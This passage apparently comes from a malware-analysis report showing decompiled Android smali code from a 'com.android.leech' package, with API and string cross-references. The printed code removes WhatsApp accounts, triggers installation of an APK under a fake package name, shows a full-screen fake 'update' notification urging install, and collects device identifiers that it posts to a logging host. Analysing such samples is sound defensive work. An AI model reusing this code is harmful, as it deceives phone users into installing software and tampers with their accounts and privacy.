                                                                              69invoke-virtual {v0, v4}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              70const/4 v4, 0x1
                                                                              72invoke-virtual {v0, v4}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                                                                              73const/4 v4, 0x1
                                                                              75invoke-virtual {v0, v4}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                                                                              76const/4 v4, 0x0
                                                                              78invoke-virtual {v0, v4}, Ljava/net/HttpURLConnection;->setUseCaches(Z)V
                                                                              80invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                                                              81try_end_70: move-result-object v3
                                                                              82try_start_71:
                                                                              83invoke-virtual {v3, p1}, Ljava/io/OutputStream;->write([B)V
                                                                              85invoke-virtual {v3}, Ljava/io/OutputStream;->flush()V
                                                                              87invoke-virtual {v0}, Ljava/net/HttpURLConnection;->connect()V
                                                                              89invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getResponseCode()I
                                                                              90try_end_7d: move-result v4
                                                                              91const/16 v5, 0xc8
                                                                              92if-ne v4, v5, :cond_83
                                                                              93move v1, v2
                                                                              94cond_83: if-eqz v3, :cond_88
                                                                              95try_start_85:
                                                                              96invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
                                                                              97goto_88: if-eqz v0, :cond_d8
                                                                              99invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              100goto/16 :goto_9
                                                                              101cond_8f: new-instance v0, Ljava/net/URL;
                                                                              102new-instance v4, Ljava/lang/StringBuilder;
                                                                              104invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              106const-string v5, "https://plbslog.umeng.com/"
                                                                              108invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              109move-result-object v4
                                                                              111invoke-virtual {v4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              112move-result-object v4
                                                                              114invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              115move-result-object v4
                                                                              117invoke-direct {v0, v4}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              119invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              120move-result-object v0
                                                                              121check-cast v0, Ljava/net/HttpURLConnection;
                                                                              122try_end_ad: goto/16 :goto_3e
                                                                              123catch_ae: move-exception v0
                                                                              124move-object v2, v3
                                                                              125try_start_b0:
                                                                              126iget-object v4, p0, LuAgent/commonsdk/stateless/e;->c:Landroid/content/Context;
                                                                              128invoke-static {v4, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              129try_end_b5: if-eqz v3, :cond_ba
                                                                              130try_start_b7:
                                                                              131invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
                                                                              132goto_ba: if-eqz v2, :cond_db
                                                                              134invoke-virtual {v2}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              135goto/16 :goto_9
                                                                              136catchall_c1: move-exception v0
                                                                              137move-object v1, v0
                                                                              138move-object v0, v3
                                                                              139goto_c4: if-eqz v3, :cond_c9
                                                                              140try_start_c6:
                                                                              141invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
                                                                              142goto_c9: if-eqz v0, :cond_ce
                                                                              144invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              145cond_ce: throw v1
                                                                              146catch_cf: move-exception v2
                                                                              147move-object v8, v2
                                                                              148move-object v2, v0
                                                                              149move-object v0, v8
                                                                              150goto/16 :goto_b0
                                                                              151catchall_d4: move-exception v0
                                                                              152move-object v1, v0
                                                                              153move-object v0, v2
                                                                              154goto/16 :goto_c4
                                                                              155cond_d8: move v0, v1
                                                                              156goto/16 :goto_8
                                                                              157cond_db: move v0, v1
                                                                              158goto/16 :goto_8
                                                                              159catch_de: move-exception v2
                                                                              160goto/16 :goto_88
                                                                              161catch_e0: move-exception v0
                                                                              162goto/16 :goto_ba
                                                                              163catch_e2: move-exception v2
                                                                              164goto/16 :goto_c9
                                                                              165catchall_e4: move-exception v1
                                                                              166goto/16 :goto_c4
                                                                              167catchall_e6: move-exception v1
                                                                              168goto/16 :goto_c4
                                                                              Cross References
                                                                              APIs
                                                                              • android.accounts.AccountManager.get
                                                                              • android.accounts.AccountManager.getAccounts
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • android.accounts.Account.type:Ljava/lang/String
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.accounts.Account.type:Ljava/lang/String
                                                                              • java.lang.String.equals
                                                                              • android.accounts.AccountManager.removeAccount
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Intent.addFlags
                                                                              • android.os.Bundle.<init>
                                                                              • android.os.Bundle.putString
                                                                              • android.os.Bundle.putString
                                                                              • android.os.Bundle.putString
                                                                              • android.content.Intent.setClassName
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Context.startActivity
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • Core
                                                                              • centerpkg
                                                                              • whatsapp type:
                                                                              • com.whatsapp
                                                                              • apk_path
                                                                              • fake_name
                                                                              • bundle_type
                                                                              • type_install
                                                                              • android
                                                                              • android.accounts.ChooseTypeAndAccountActivity
                                                                              • allowableAccountTypes
                                                                              • addAccountOptions
                                                                              • doInstallWhatsapp
                                                                              • doInstallWhatsapp every:
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.param p1, "apkPath" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3const/4 v5, 0x0
                                                                              4const-class v6, Lcom/android/leech/main/installer/impl/ReParcelMain;
                                                                              5monitor-enter v6
                                                                              6try_start_4:
                                                                              7invoke-static {p0}, Landroid/accounts/AccountManager;->get(Landroid/content/Context;)Landroid/accounts/AccountManager;
                                                                              8move-result-object v1
                                                                              10invoke-virtual {v1}, Landroid/accounts/AccountManager;->getAccounts()[Landroid/accounts/Account;
                                                                              11move-result-object v2
                                                                              12array-length v7, v2
                                                                              13goto_d: if-ge v5, v7, :cond_3f
                                                                              14aget-object v0, v2, v5
                                                                              16const-string v8, "Core"
                                                                              18const-string v9, "centerpkg"
                                                                              19new-instance v10, Ljava/lang/StringBuilder;
                                                                              21invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
                                                                              23const-string v11, "whatsapp type:"
                                                                              25invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              26move-result-object v10
                                                                              28iget-object v11, v0, Landroid/accounts/Account;->type:Ljava/lang/String;
                                                                              30invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              31move-result-object v10
                                                                              33invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              34move-result-object v10
                                                                              36invoke-static {v8, v9, v10}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              38const-string v8, "com.whatsapp"
                                                                              40iget-object v9, v0, Landroid/accounts/Account;->type:Ljava/lang/String;
                                                                              42invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              43move-result v8
                                                                              44if-eqz v8, :cond_3c
                                                                              45const/4 v8, 0x0
                                                                              46const/4 v9, 0x0
                                                                              48invoke-virtual {v1, v0, v8, v9}, Landroid/accounts/AccountManager;->removeAccount(Landroid/accounts/Account;Landroid/accounts/AccountManagerCallback;Landroid/os/Handler;)Landroid/accounts/AccountManagerFuture;
                                                                              49cond_3c: add-int/lit8 v5, v5, 0x1
                                                                              50goto/16 :goto_d
                                                                              51cond_3f: new-instance v4, Landroid/content/Intent;
                                                                              53invoke-direct {v4}, Landroid/content/Intent;-><init>()V
                                                                              54const/high16 v5, 0x10000000
                                                                              56invoke-virtual {v4, v5}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              57const/high16 v5, 0x40000000 # 2.0f
                                                                              59invoke-virtual {v4, v5}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              60const/high16 v5, 0x40000
                                                                              62invoke-virtual {v4, v5}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              63new-instance v3, Landroid/os/Bundle;
                                                                              65invoke-direct {v3}, Landroid/os/Bundle;-><init>()V
                                                                              67const-string v5, "apk_path"
                                                                              69invoke-virtual {v3, v5, p1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              71const-string v5, "fake_name"
                                                                              73invoke-static {}, Lcom/android/leech/main/installer/impl/ReParcelMain;->getFakePackage()Ljava/lang/String;
                                                                              74move-result-object v7
                                                                              76invoke-virtual {v3, v5, v7}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              78const-string v5, "bundle_type"
                                                                              80const-string v7, "type_install"
                                                                              82invoke-virtual {v3, v5, v7}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                                                              84const-string v5, "android"
                                                                              86const-string v7, "android.accounts.ChooseTypeAndAccountActivity"
                                                                              88invoke-virtual {v4, v5, v7}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                                                              89move-result-object v5
                                                                              91const-string v7, "allowableAccountTypes"
                                                                              92const/4 v8, 0x1
                                                                              93new-array v8, v8, [Ljava/lang/String;
                                                                              94const/4 v9, 0x0
                                                                              96const-string v10, "com.whatsapp"
                                                                              97aput-object v10, v8, v9
                                                                              99invoke-virtual {v5, v7, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;[Ljava/lang/String;)Landroid/content/Intent;
                                                                              100move-result-object v5
                                                                              102const-string v7, "addAccountOptions"
                                                                              104invoke-virtual {v5, v7, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Bundle;)Landroid/content/Intent;
                                                                              105move-result-object v5
                                                                              107invoke-virtual {p0, v5}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                                              109invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              110move-result-object v5
                                                                              112const-string v7, "doInstallWhatsapp"
                                                                              113const/4 v8, 0x0
                                                                              115invoke-static {v5, v7, v8}, Lcom/android/leech/base/util/ShareUtils;->getBooleanValue(Landroid/content/Context;Ljava/lang/String;Z)Z
                                                                              116move-result v5
                                                                              117if-nez v5, :cond_bd
                                                                              119invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              120move-result-object v5
                                                                              122const-string v7, "doInstallWhatsapp"
                                                                              123const/4 v8, 0x1
                                                                              125invoke-static {v5, v7, v8}, Lcom/android/leech/base/util/ShareUtils;->setBooleanValue(Landroid/content/Context;Ljava/lang/String;Z)V
                                                                              127const-string v5, "Core"
                                                                              129const-string v7, "centerpkg"
                                                                              130new-instance v8, Ljava/lang/StringBuilder;
                                                                              132invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                                              134const-string v9, "doInstallWhatsapp every:"
                                                                              136invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              137move-result-object v8
                                                                              139invoke-virtual {v8, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              140move-result-object v8
                                                                              142invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              143move-result-object v8
                                                                              145invoke-static {v5, v7, v8}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              146try_end_bd: monitor-exit v6
                                                                              147return-void
                                                                              148catchall_bf: move-exception v5
                                                                              149monitor-exit v6
                                                                              150throw v5
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.File.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.setDataAndType
                                                                              • android.content.Intent.setComponent
                                                                              • android.app.PendingIntent.getActivity
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.app.Notification$Builder.<init>
                                                                              • android.app.Notification$Builder.setDefaults
                                                                              • android.app.Notification$Builder.setContentIntent
                                                                              • android.app.Notification$Builder.setAutoCancel
                                                                              • java.lang.System.currentTimeMillis
                                                                              • android.app.Notification$Builder.setWhen
                                                                              • android.app.Notification$Builder.setContentTitle
                                                                              • android.app.Notification$Builder.setContentText
                                                                              • android.app.Notification$Builder.setLargeIcon
                                                                              • android.app.Notification$Builder.setSmallIcon
                                                                              • android.app.Notification$Builder.setVisibility
                                                                              • android.app.Notification$Builder.setFullScreenIntent
                                                                              • android.app.Notification$Builder.build
                                                                              • android.content.Context.getSystemService
                                                                              • android.app.NotificationManager.notify
                                                                              • android.app.Notification$Builder.setSmallIcon
                                                                              Strings
                                                                              • update!!!
                                                                              • Has fixed a serious mistake, wait install
                                                                              • android.intent.action.VIEW
                                                                              • application/vnd.android.package-archive
                                                                              • notification
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "filePath" # Ljava/lang/String;
                                                                              2.param p2, "pkg" # Ljava/lang/String;
                                                                              3.param p3, "appName" # Ljava/lang/String;
                                                                              4.param p4, "title" # Ljava/lang/String;
                                                                              5.param p5, "text" # Ljava/lang/String;
                                                                              6.annotation build Landroid/annotation/SuppressLint;
                                                                              7value = {
                                                                              8"NewApi"
                                                                              9}
                                                                              10.end annotation
                                                                              11.prologue
                                                                              12new-instance v9, Ljava/lang/StringBuilder;
                                                                              14invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                                                                              16invoke-virtual {v9, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              17move-result-object v9
                                                                              19const-string v10, " update!!!"
                                                                              21invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              22move-result-object v9
                                                                              24invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              25move-result-object v5
                                                                              26new-instance v9, Ljava/lang/StringBuilder;
                                                                              28invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                                                                              30invoke-virtual {v9, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              31move-result-object v9
                                                                              33const-string v10, " Has fixed a serious mistake, wait install"
                                                                              35invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              36move-result-object v9
                                                                              38invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              39move-result-object v4
                                                                              40new-instance v9, Ljava/io/File;
                                                                              42invoke-direct {v9, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              44invoke-static {v9}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              45move-result-object v8
                                                                              46new-instance v1, Landroid/content/Intent;
                                                                              48const-string v9, "android.intent.action.VIEW"
                                                                              50invoke-direct {v1, v9}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              52const-string v9, "application/vnd.android.package-archive"
                                                                              54invoke-virtual {v1, v8, v9}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                                                                              56invoke-static {p0, p1}, Lcom/android/leech/patch/PatchNotification;->getSystemPackageInstaller(Landroid/content/Context;Ljava/lang/String;)Landroid/content/ComponentName;
                                                                              57move-result-object v7
                                                                              58if-eqz v7, :cond_44
                                                                              60invoke-virtual {v1, v7}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                                                                              61cond_44: const/4 v9, 0x0
                                                                              62const/high16 v10, 0x10000000
                                                                              64invoke-static {p0, v9, v1, v10}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                                                              65move-result-object v6
                                                                              67invoke-static {p4}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              68move-result v9
                                                                              69if-nez v9, :cond_52
                                                                              70move-object v5, p4
                                                                              71cond_52:
                                                                              72invoke-static/range {p5 .. p5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              73move-result v9
                                                                              74if-nez v9, :cond_5a
                                                                              75move-object/from16 v4, p5
                                                                              76cond_5a: new-instance v0, Landroid/app/Notification$Builder;
                                                                              78invoke-direct {v0, p0}, Landroid/app/Notification$Builder;-><init>(Landroid/content/Context;)V
                                                                              79const/4 v9, 0x3
                                                                              81invoke-virtual {v0, v9}, Landroid/app/Notification$Builder;->setDefaults(I)Landroid/app/Notification$Builder;
                                                                              83invoke-virtual {v0, v6}, Landroid/app/Notification$Builder;->setContentIntent(Landroid/app/PendingIntent;)Landroid/app/Notification$Builder;
                                                                              84const/4 v9, 0x1
                                                                              86invoke-virtual {v0, v9}, Landroid/app/Notification$Builder;->setAutoCancel(Z)Landroid/app/Notification$Builder;
                                                                              88invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                                                              89move-result-wide v9
                                                                              91invoke-virtual {v0, v9, v10}, Landroid/app/Notification$Builder;->setWhen(J)Landroid/app/Notification$Builder;
                                                                              93invoke-virtual {v0, v5}, Landroid/app/Notification$Builder;->setContentTitle(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
                                                                              95invoke-virtual {v0, v4}, Landroid/app/Notification$Builder;->setContentText(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
                                                                              97invoke-static {p0, p2}, Lcom/android/leech/patch/PatchNotification;->getLargeIcon(Landroid/content/Context;Ljava/lang/String;)Landroid/graphics/Bitmap;
                                                                              98move-result-object v9
                                                                              100invoke-virtual {v0, v9}, Landroid/app/Notification$Builder;->setLargeIcon(Landroid/graphics/Bitmap;)Landroid/app/Notification$Builder;
                                                                              101sget v9, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              102const/16 v10, 0x17
                                                                              103if-lt v9, v10, :cond_b3
                                                                              105invoke-static {p0, p2}, Lcom/android/leech/patch/PatchNotification;->getSmallIcon(Landroid/content/Context;Ljava/lang/String;)Landroid/graphics/drawable/Icon;
                                                                              106move-result-object v9
                                                                              108invoke-virtual {v0, v9}, Landroid/app/Notification$Builder;->setSmallIcon(Landroid/graphics/drawable/Icon;)Landroid/app/Notification$Builder;
                                                                              109goto_8b: sget v9, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              110const/16 v10, 0x15
                                                                              111if-lt v9, v10, :cond_99
                                                                              112const/4 v9, 0x0
                                                                              114invoke-virtual {v0, v9}, Landroid/app/Notification$Builder;->setVisibility(I)Landroid/app/Notification$Builder;
                                                                              115const/4 v9, 0x1
                                                                              117invoke-virtual {v0, v6, v9}, Landroid/app/Notification$Builder;->setFullScreenIntent(Landroid/app/PendingIntent;Z)Landroid/app/Notification$Builder;
                                                                              118cond_99:
                                                                              119invoke-virtual {v0}, Landroid/app/Notification$Builder;->build()Landroid/app/Notification;
                                                                              120move-result-object v3
                                                                              121iget v9, v3, Landroid/app/Notification;->flags:I
                                                                              122or-int/lit8 v9, v9, 0x30
                                                                              123iput v9, v3, Landroid/app/Notification;->flags:I
                                                                              125const-string v9, "notification"
                                                                              127invoke-virtual {p0, v9}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              128move-result-object v2
                                                                              129check-cast v2, Landroid/app/NotificationManager;
                                                                              131invoke-static {p2}, Lcom/android/leech/patch/PatchNotification;->pkgToNotificationId(Ljava/lang/String;)I
                                                                              132move-result v9
                                                                              134invoke-virtual {v2, v9, v3}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
                                                                              135return-void
                                                                              136cond_b3: const v9, 0x1080078
                                                                              138invoke-virtual {v0, v9}, Landroid/app/Notification$Builder;->setSmallIcon(I)Landroid/app/Notification$Builder;
                                                                              139goto/16 :goto_8b
                                                                              Cross References
                                                                              APIs
                                                                              • org.json.JSONObject.<init>
                                                                              • android.os.Build.BRAND:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.HARDWARE:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.CPU_ABI:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.FINGERPRINT:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONException.printStackTrace
                                                                              Strings
                                                                              • brand
                                                                              • model
                                                                              • hardware
                                                                              • api_level
                                                                              • cpu_abi
                                                                              • fingerprint
                                                                              • kernel
                                                                              • sec_patch
                                                                              • security patch
                                                                              • scr_size
                                                                              • x
                                                                              • mob_id
                                                                              • country
                                                                              • IN
                                                                              • network
                                                                              • gaid
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2new-instance v1, Lorg/json/JSONObject;
                                                                              4invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                                                              5try_start_5:
                                                                              6const-string v3, "brand"
                                                                              8sget-object v4, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                                              10invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              12const-string v3, "model"
                                                                              14sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                                              16invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              18const-string v3, "hardware"
                                                                              20sget-object v4, Landroid/os/Build;->HARDWARE:Ljava/lang/String;
                                                                              22invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              24const-string v3, "api_level"
                                                                              25sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              27invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              29const-string v3, "cpu_abi"
                                                                              31sget-object v4, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
                                                                              33invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              35const-string v3, "fingerprint"
                                                                              37sget-object v4, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                                                                              39invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              41const-string v3, "kernel"
                                                                              43const-string v4, "kernel"
                                                                              45invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              47const-string v3, "sec_patch"
                                                                              49const-string v4, "security patch"
                                                                              51invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              53invoke-static {p0}, Lcom/android/leech/main/ad/mini/base/DisplayUtil;->getScreenMetrics(Landroid/content/Context;)Landroid/graphics/Point;
                                                                              54move-result-object v2
                                                                              56const-string v3, "scr_size"
                                                                              57new-instance v4, Ljava/lang/StringBuilder;
                                                                              59invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              60iget v5, v2, Landroid/graphics/Point;->x:I
                                                                              62invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              63move-result-object v4
                                                                              65const-string v5, "x"
                                                                              67invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              68move-result-object v4
                                                                              69iget v5, v2, Landroid/graphics/Point;->y:I
                                                                              71invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              72move-result-object v4
                                                                              74invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              75move-result-object v4
                                                                              77invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              79const-string v3, "mob_id"
                                                                              81invoke-static {p0}, Lcom/android/leech/base/util/PhoneInfo;->getDeviceId(Landroid/content/Context;)Ljava/lang/String;
                                                                              82move-result-object v4
                                                                              84invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              86const-string v3, "country"
                                                                              88const-string v4, "IN"
                                                                              90invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              92const-string v3, "network"
                                                                              94invoke-static {p0}, Lcom/android/leech/base/util/NetUtil;->getNetState(Landroid/content/Context;)I
                                                                              95move-result v4
                                                                              97invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              99const-string v3, "gaid"
                                                                              101invoke-static {p0}, Lcom/android/leech/base/util/GaidUtils;->getGaid(Landroid/content/Context;)Ljava/lang/String;
                                                                              102move-result-object v4
                                                                              104invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              105try_end_83: return-object v1
                                                                              106catch_84: move-exception v0
                                                                              108invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                                                                              109goto/16 :goto_83
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Build.BRAND:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.HARDWARE:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.CPU_ABI:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.FINGERPRINT:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONException.printStackTrace
                                                                              Strings
                                                                              • brand
                                                                              • model
                                                                              • hardware
                                                                              • api_level
                                                                              • cpu_abi
                                                                              • fingerprint
                                                                              • kernel
                                                                              • sec_patch
                                                                              • ro.build.version.security_patch
                                                                              • scr_size
                                                                              • x
                                                                              • mob_id
                                                                              • country
                                                                              • network
                                                                              • gaid
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              3move-result-object v0
                                                                              5iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              7const-string v4, "brand"
                                                                              9sget-object v5, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                                              11invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              13iget-object v3, p0, Lcom/android/leech/main/ad/mini/request/BaseRequestParam;->mSysJson:Lorg/json/JSONObject;
                                                                              15const-string v4, "model"
                                                                              17sget-object v5, Landroid/os/Build;->MODEL:Ljava/lang/String;
